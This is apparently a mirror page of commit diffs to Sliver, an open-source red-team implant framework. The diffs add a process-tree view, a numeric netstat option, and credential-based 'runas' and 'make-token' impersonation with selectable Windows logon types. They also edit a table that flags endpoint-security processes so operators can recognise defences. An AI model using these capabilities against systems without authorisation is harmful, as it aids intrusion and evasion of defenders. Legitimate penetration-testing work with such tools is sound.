mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 01:38:17 -10:00
Compare commits
47
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
51aa00e741 | ||
|
|
ffe4c490fd | ||
|
|
702c2371a4 | ||
|
|
776f416ed1 | ||
|
|
ce98ce8b37 | ||
|
|
de8c6cb9b5 | ||
|
|
6afdad6d50 | ||
|
|
d699a8d140 | ||
|
|
77148d0d31 | ||
|
|
c7e77c8f8b | ||
|
|
5e6148b193 | ||
|
|
7b12e893a5 | ||
|
|
a619b59329 | ||
|
|
ead23d8bf6 | ||
|
|
7e6abd2211 | ||
|
|
4052093d57 | ||
|
|
a676cb328a | ||
|
|
1be1904c4d | ||
|
|
ead6b48b74 | ||
|
|
5d8ee38cb4 | ||
|
|
cef27f6511 | ||
|
|
dd91251710 | ||
|
|
d13e3fc61e | ||
|
|
cfb292d6d6 | ||
|
|
0e66a5643e | ||
|
|
5a7ee43120 | ||
|
|
8b7a66a595 | ||
|
|
f8ae372796 | ||
|
|
5908033ffd | ||
|
|
e083fa6db4 | ||
|
|
eb96269114 | ||
|
|
e9945d7cb4 | ||
|
|
c91740d2ac | ||
|
|
170c2bc462 | ||
|
|
ac56a98671 | ||
|
|
6c7814ce4f | ||
|
|
4adc9abd6a | ||
|
|
418b061c14 | ||
|
|
95ea7d8390 | ||
|
|
7f02c2ca96 | ||
|
|
430b5ffb79 | ||
|
|
e0c7779c6d | ||
|
|
aa31df6813 | ||
|
|
4146b382ff | ||
|
|
1e2e3caca0 | ||
|
|
40a9b74119 | ||
|
|
125a4ac0c4 |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.19.2
|
||||
FROM golang:1.19.3
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -47,6 +47,15 @@ LDFLAGS = -ldflags "-s -w \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
# Debug builds can't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
@@ -146,6 +155,11 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
.PHONY: debug
|
||||
debug: clean
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
|
||||
+1
-1
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
|
||||
|
||||
### Reporting a Vulnerability
|
||||
|
||||
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
|
||||
Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
|
||||
@@ -1965,6 +1965,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("4", "ip4", true, "display information about IPv4 sockets")
|
||||
f.Bool("6", "ip6", false, "display information about IPv6 sockets")
|
||||
f.Bool("l", "listen", false, "display information about listening sockets")
|
||||
f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
@@ -1983,6 +1984,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("c", "print-cmdline", false, "print command line arguments")
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.Bool("T", "tree", false, "print process tree")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2045,9 +2047,14 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Run a new process in the context of the designated user (Windows Only)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
|
||||
f.String("u", "username", "", "user to impersonate")
|
||||
f.String("p", "process", "", "process to start")
|
||||
f.String("a", "args", "", "arguments for the process")
|
||||
f.String("d", "domain", "", "domain of the user")
|
||||
f.String("P", "password", "", "password of the user")
|
||||
f.Bool("s", "show-window", false, `
|
||||
Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
|
||||
f.Bool("n", "net-only", false, "use ")
|
||||
f.Int("t", "timeout", 30, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -2119,6 +2126,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("u", "username", "", "username of the user to impersonate")
|
||||
f.String("p", "password", "", "password of the user to impersonate")
|
||||
f.String("d", "domain", "", "domain of the user to impersonate")
|
||||
f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
|
||||
@@ -471,6 +471,16 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
|
||||
`
|
||||
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
|
||||
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
|
||||
You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
|
||||
Valid types are:
|
||||
|
||||
LOGON_INTERACTIVE
|
||||
LOGON_NETWORK
|
||||
LOGON_BATCH
|
||||
LOGON_SERVICE
|
||||
LOGON_UNLOCK
|
||||
LOGON_NETWORK_CLEARTEXT
|
||||
LOGON_NEW_CREDENTIALS
|
||||
`
|
||||
|
||||
getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
|
||||
|
||||
@@ -44,6 +44,7 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ip6 := ctx.Flags.Bool("ip6")
|
||||
tcp := ctx.Flags.Bool("tcp")
|
||||
udp := ctx.Flags.Bool("udp")
|
||||
numeric := ctx.Flags.Bool("numeric")
|
||||
|
||||
implantPID := getPID(session, beacon)
|
||||
activeC2 := getActiveC2(session, beacon)
|
||||
@@ -67,25 +68,21 @@ func NetstatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
})
|
||||
con.PrintAsyncResponse(netstat.Response)
|
||||
} else {
|
||||
PrintNetstat(netstat, implantPID, activeC2, con)
|
||||
PrintNetstat(netstat, implantPID, activeC2, numeric, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, con *console.SliverConsoleClient) {
|
||||
func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string, numeric bool, con *console.SliverConsoleClient) {
|
||||
lookup := func(skaddr *sliverpb.SockTabEntry_SockAddr) string {
|
||||
const IPv4Strlen = 17
|
||||
addr := skaddr.Ip
|
||||
names, err := net.LookupAddr(addr)
|
||||
if err == nil && len(names) > 0 {
|
||||
addr = names[0]
|
||||
}
|
||||
if len(addr) > IPv4Strlen {
|
||||
addr = addr[:IPv4Strlen]
|
||||
}
|
||||
return fmt.Sprintf("%s:%d", addr, skaddr.Port)
|
||||
}
|
||||
|
||||
@@ -98,8 +95,12 @@ func PrintNetstat(netstat *sliverpb.Netstat, implantPID int32, activeC2 string,
|
||||
if entry.Process != nil {
|
||||
pid = fmt.Sprintf("%d/%s", entry.Process.Pid, entry.Process.Executable)
|
||||
}
|
||||
srcAddr := lookup(entry.LocalAddr)
|
||||
dstAddr := lookup(entry.RemoteAddr)
|
||||
srcAddr := fmt.Sprintf("%s:%d", entry.LocalAddr.Ip, entry.LocalAddr.Port)
|
||||
dstAddr := fmt.Sprintf("%s:%d", entry.RemoteAddr.Ip, entry.RemoteAddr.Port)
|
||||
if !numeric {
|
||||
srcAddr = lookup(entry.LocalAddr)
|
||||
dstAddr = lookup(entry.RemoteAddr)
|
||||
}
|
||||
if entry.Process != nil && entry.Process.Pid == implantPID {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(console.Green+"%s"+console.Normal, entry.Protocol),
|
||||
|
||||
@@ -28,6 +28,16 @@ import (
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var logonTypes = map[string]uint32{
|
||||
"LOGON_INTERACTIVE": 2,
|
||||
"LOGON_NETWORK": 3,
|
||||
"LOGON_BATCH": 4,
|
||||
"LOGON_SERVICE": 5,
|
||||
"LOGON_UNLOCK": 7,
|
||||
"LOGON_NETWORK_CLEARTEXT": 8,
|
||||
"LOGON_NEW_CREDENTIALS": 9,
|
||||
}
|
||||
|
||||
// MakeTokenCmd - Windows only, create a token using "valid" credentails
|
||||
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
@@ -38,6 +48,12 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
logonType := ctx.Flags.String("logon-type")
|
||||
|
||||
if _, ok := logonTypes[logonType]; !ok {
|
||||
con.PrintErrorf("Invalid logon type: %s\n", logonType)
|
||||
return
|
||||
}
|
||||
|
||||
if username == "" || password == "" {
|
||||
con.PrintErrorf("Pou must provide a username and password\n")
|
||||
@@ -48,10 +64,11 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil("Creating new logon session ...", ctrl)
|
||||
|
||||
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Username: username,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
LogonType: logonTypes[logonType],
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -36,8 +36,12 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
username := ctx.Flags.String("username")
|
||||
password := ctx.Flags.String("password")
|
||||
domain := ctx.Flags.String("domain")
|
||||
showWindow := ctx.Flags.Bool("show-window")
|
||||
process := ctx.Flags.String("process")
|
||||
arguments := ctx.Flags.String("args")
|
||||
netonly := ctx.Flags.Bool("net-only")
|
||||
|
||||
if username == "" {
|
||||
con.PrintErrorf("Please specify a username\n")
|
||||
@@ -54,6 +58,10 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Username: username,
|
||||
ProcessName: process,
|
||||
Args: arguments,
|
||||
Domain: domain,
|
||||
Password: password,
|
||||
HideWindow: !showWindow,
|
||||
NetOnly: netonly,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
|
||||
@@ -21,6 +21,7 @@ package processes
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -39,11 +40,11 @@ var (
|
||||
// Process Name -> [Color, Stylized Name]
|
||||
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
|
||||
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
|
||||
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
|
||||
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
|
||||
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
|
||||
@@ -51,13 +52,13 @@ var (
|
||||
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
|
||||
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
|
||||
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
|
||||
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
|
||||
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
|
||||
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
|
||||
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
|
||||
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
@@ -66,8 +67,8 @@ var (
|
||||
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
|
||||
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
|
||||
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
|
||||
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
|
||||
@@ -131,6 +132,25 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
|
||||
ownerFilter := ctx.Flags.String("owner")
|
||||
overflow := ctx.Flags.Bool("overflow")
|
||||
skipPages := ctx.Flags.Int("skip-pages")
|
||||
pstree := ctx.Flags.Bool("tree")
|
||||
|
||||
if pstree {
|
||||
var currentPID int32
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session != nil && session.PID != 0 {
|
||||
currentPID = session.PID
|
||||
} else if beacon != nil && beacon.PID != 0 {
|
||||
currentPID = beacon.PID
|
||||
}
|
||||
// Print the process tree
|
||||
sorted := SortProcessesByPID(ps.Processes)
|
||||
tree := NewPsTree(currentPID)
|
||||
for _, p := range sorted {
|
||||
tree.AddProcess(p)
|
||||
}
|
||||
con.PrintInfof("Process Tree:\n%s", tree.String())
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
@@ -270,3 +290,11 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// SortProcessesByPID - Sorts a list of processes by PID
|
||||
func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
|
||||
sort.Slice(ps, func(i, j int) bool {
|
||||
return ps[i].Pid < ps[j].Pid
|
||||
})
|
||||
return ps
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
package processes
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/xlab/treeprint"
|
||||
)
|
||||
|
||||
// A PsTree is a tree of *commonpb.Process
|
||||
type PsTree struct {
|
||||
printableTree treeprint.Tree // only used for rendering
|
||||
implantPID int32
|
||||
procTree *node // used to hold the tree structure
|
||||
}
|
||||
|
||||
type node struct {
|
||||
Value *commonpb.Process // The process information
|
||||
Children map[int32]*node // The children of this node
|
||||
Parent *node // The parent of this node
|
||||
}
|
||||
|
||||
// NewPsTree creates a new PsTree
|
||||
func NewPsTree(pid int32) *PsTree {
|
||||
return &PsTree{
|
||||
printableTree: treeprint.New(),
|
||||
implantPID: pid,
|
||||
procTree: &node{Value: &commonpb.Process{Pid: -1}},
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) insert(proc *commonpb.Process) {
|
||||
if n.Value == nil {
|
||||
n.Value = proc
|
||||
return
|
||||
}
|
||||
if parent := n.findParent(proc); parent != nil {
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
|
||||
} else {
|
||||
if n.Children == nil {
|
||||
n.Children = make(map[int32]*node)
|
||||
}
|
||||
n.Children[proc.Pid] = &node{Value: proc, Parent: n}
|
||||
}
|
||||
}
|
||||
|
||||
func (n *node) findParent(proc *commonpb.Process) *node {
|
||||
if n.Value == nil {
|
||||
return nil
|
||||
}
|
||||
if n.Value.Pid == proc.Ppid {
|
||||
return n
|
||||
}
|
||||
for _, child := range n.Children {
|
||||
if p := child.findParent(proc); p != nil {
|
||||
return p
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func reorder(root *node) {
|
||||
toDelete := make([]int32, 0)
|
||||
for pid, child := range root.Children {
|
||||
// skip root node
|
||||
if child.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
// Skip edge case of [System Process] on Windows
|
||||
if child.Value.Ppid == pid {
|
||||
continue
|
||||
}
|
||||
// only focus on children without parent
|
||||
if child.Parent.Value.Pid == -1 {
|
||||
if parent := root.findParent(child.Value); parent != nil {
|
||||
child.Parent = parent
|
||||
if parent.Children == nil {
|
||||
parent.Children = make(map[int32]*node)
|
||||
}
|
||||
// copy to new parent
|
||||
parent.Children[pid] = child
|
||||
// mark for deletion
|
||||
toDelete = append(toDelete, pid)
|
||||
}
|
||||
}
|
||||
}
|
||||
// delete children that were moved
|
||||
for _, pid := range toDelete {
|
||||
delete(root.Children, pid)
|
||||
}
|
||||
}
|
||||
|
||||
func (t *PsTree) AddProcess(proc *commonpb.Process) {
|
||||
t.procTree.insert(proc)
|
||||
}
|
||||
|
||||
func (t *PsTree) filterProc(proc *commonpb.Process) string {
|
||||
color := console.Normal
|
||||
if proc.Pid == t.implantPID {
|
||||
color = console.Green
|
||||
}
|
||||
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
|
||||
color = secTool[0]
|
||||
}
|
||||
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
|
||||
}
|
||||
|
||||
func (t *PsTree) String() string {
|
||||
reorder(t.procTree)
|
||||
return t.Print()
|
||||
}
|
||||
|
||||
func (t *PsTree) Print() string {
|
||||
topLevelPIDs := make([]int, 0, len(t.procTree.Children))
|
||||
for k := range t.procTree.Children {
|
||||
topLevelPIDs = append(topLevelPIDs, int(k))
|
||||
}
|
||||
sort.Ints(topLevelPIDs)
|
||||
for _, pid := range topLevelPIDs {
|
||||
current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
|
||||
t.addToTree(current, t.procTree.Children[int32(pid)].Children)
|
||||
}
|
||||
return t.printableTree.String()
|
||||
|
||||
}
|
||||
|
||||
func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
|
||||
for pid, proc := range procs {
|
||||
if proc.Value.Pid == -1 {
|
||||
continue
|
||||
}
|
||||
procName := t.filterProc(proc.Value)
|
||||
|
||||
procNode := tree.FindByMeta(pid)
|
||||
if procNode == nil {
|
||||
if len(proc.Children) > 0 {
|
||||
procNode = tree.AddMetaBranch(pid, procName)
|
||||
} else {
|
||||
procNode = tree.AddMetaNode(pid, procName)
|
||||
}
|
||||
}
|
||||
t.addToTree(procNode, proc.Children)
|
||||
}
|
||||
}
|
||||
@@ -30,8 +30,9 @@ import (
|
||||
|
||||
// TerminateCmd - Terminate a process on the remote system
|
||||
func TerminateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
con.PrintErrorf("No active session or beacon\n")
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
@@ -432,7 +432,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
con.PrintErrorf("Failed to fetch beacon: %s\n", err)
|
||||
return
|
||||
}
|
||||
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, con)
|
||||
network.PrintNetstat(netstat, beacon.PID, beacon.ActiveC2, false, con)
|
||||
|
||||
// ---------------------
|
||||
// Privilege commands
|
||||
|
||||
@@ -1,10 +1,27 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"os"
|
||||
"path"
|
||||
@@ -94,7 +111,7 @@ func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType str
|
||||
return err
|
||||
}
|
||||
defer file.Close()
|
||||
data, err := ioutil.ReadAll(file)
|
||||
data, err := io.ReadAll(file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -1,5 +1,23 @@
|
||||
package websites
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
|
||||
@@ -100,7 +100,7 @@ func PrintWebsite(web *clientpb.Website, con *console.SliverConsoleClient) {
|
||||
return sortedContents[i].Path < sortedContents[j].Path
|
||||
})
|
||||
for _, content := range sortedContents {
|
||||
tw.AppendHeader(table.Row{
|
||||
tw.AppendRow(table.Row{
|
||||
content.Path,
|
||||
content.ContentType,
|
||||
content.Size,
|
||||
|
||||
+2
-2
@@ -20,8 +20,8 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.19.2"
|
||||
GARBLE_VER="1.19.3"
|
||||
GO_VER="1.19.3"
|
||||
GARBLE_VER="1.19.4"
|
||||
SGN_VER="0.0.3"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
|
||||
@@ -10,7 +10,7 @@ require (
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/Ne0nd0g/go-clr v1.0.2
|
||||
github.com/Ne0nd0g/go-clr v1.0.3
|
||||
github.com/alecthomas/chroma v0.10.0
|
||||
github.com/cheggaaa/pb/v3 v3.1.0
|
||||
github.com/chromedp/cdproto v0.0.0-20220924210414-0e3390be1777
|
||||
@@ -20,23 +20,24 @@ require (
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/desertbit/readline v1.5.1
|
||||
github.com/fatih/color v1.13.0
|
||||
github.com/gofrs/uuid v4.3.0+incompatible
|
||||
